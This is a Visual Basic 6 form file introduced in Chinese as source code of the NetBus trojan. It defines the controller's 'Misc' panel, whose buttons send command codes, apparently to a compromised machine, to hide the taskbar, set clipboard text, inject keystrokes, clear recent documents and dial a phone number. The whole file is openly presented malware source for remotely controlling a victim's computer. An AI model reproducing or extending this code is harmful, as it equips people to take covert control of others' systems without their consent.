misc.frm

大名鼎鼎的Netbus木马源程序.

VERSION 5.00
Begin VB.Form Misc 
   BorderStyle     =   1  'Fixed Single
   Caption         =   "Misc"
   ClientHeight    =   2535
   ClientLeft      =   45
   ClientTop       =   360
   ClientWidth     =   3765
   LinkTopic       =   "Form2"
   MaxButton       =   0   'False
   ScaleHeight     =   2535
   ScaleWidth      =   3765
   Begin VB.TextBox Text5 
      Height          =   285
      Left            =   1920
      TabIndex        =   9
      Text            =   "555-1212"
      Top             =   960
      Width           =   1695
   End
   Begin VB.TextBox Text6 
      Height          =   285
      Left            =   120
      TabIndex        =   7
      Top             =   1560
      Width           =   3495
   End
   Begin VB.TextBox Text7 
      Height          =   285
      Left            =   120
      TabIndex        =   5
      Top             =   2160
      Width           =   3495
   End
   Begin VB.CommandButton Command13 
      Caption         =   "Taskbar Visible"
      Height          =   255
      Left            =   120
      TabIndex        =   11
      Top             =   960
      Width           =   1695
   End
   Begin VB.CommandButton Command12 
      Caption         =   "Taskbar Invisible"
      Height          =   255
      Left            =   120
      TabIndex        =   12
      Top             =   720
      Width           =   1695
   End
   Begin VB.CommandButton Command14 
      Caption         =   "Phone Call"
      Height          =   255
      Left            =   1920
      TabIndex        =   10
      Top             =   720
      Width           =   1695
   End
   Begin VB.CommandButton Command15 
      Caption         =   "Set Clipboard Text"
      Height          =   255
      Left            =   120
      TabIndex        =   8
      Top             =   1320
      Width           =   3495
   End
   Begin VB.CommandButton Command16 
      Caption         =   "Send To Keyboard"
      Height          =   255
      Left            =   120
      TabIndex        =   6
      Top             =   1920
      Width           =   3495
   End
   Begin VB.CommandButton Command18 
      Caption         =   "Double Click Speed"
      Height          =   255
      Left            =   1200
      TabIndex        =   2
      Top             =   360
      Width           =   1815
   End
   Begin VB.CommandButton Command17 
      Caption         =   "Caret Blink Speed"
      Height          =   255
      Left            =   1200
      TabIndex        =   3
      Top             =   120
      Width           =   1815
   End
   Begin VB.TextBox Text9 
      Height          =   285
      Left            =   3000
      TabIndex        =   0
      Text            =   "500"
      Top             =   360
      Width           =   615
   End
   Begin VB.TextBox Text8 
      Height          =   285
      Left            =   3000
      TabIndex        =   1
      Text            =   "500"
      Top             =   120
      Width           =   615
   End
   Begin VB.CommandButton Command19 
      Caption         =   "Clear Documents"
      Height          =   495
      Left            =   120
      TabIndex        =   4
      Top             =   120
      Width           =   975
   End
End
Attribute VB_Name = "Misc"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub Command12_Click()
WSsnd Str(Taskbar0)
End Sub

Private Sub Command13_Click()
WSsnd Str(Taskbar1)
End Sub

Private Sub Command14_Click()
WSsnd Str(Phone) & Text5.text
End Sub

Private Sub Command15_Click()
WSsnd Str(Clipb) & Text6.text
End Sub

Private Sub Command16_Click()
Dim temp$
temp$ = Text7.text
WSsnd " 36" & temp$
Text7.text = ""
End Sub

Private Sub Command17_Click()
WSsnd Str(CBSpeed) & Text8.text
End Sub

Private Sub Command18_Click()
WSsnd Str(DCSpeed) & Text9.text
End Sub

Private Sub Command19_Click()
WSsnd Str(ClDoc)
End Sub

Private Sub Text7_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
Dim temp$
temp$ = Text7.text
WSsnd " 36" & temp$
Text7.text = ""
End If
End Sub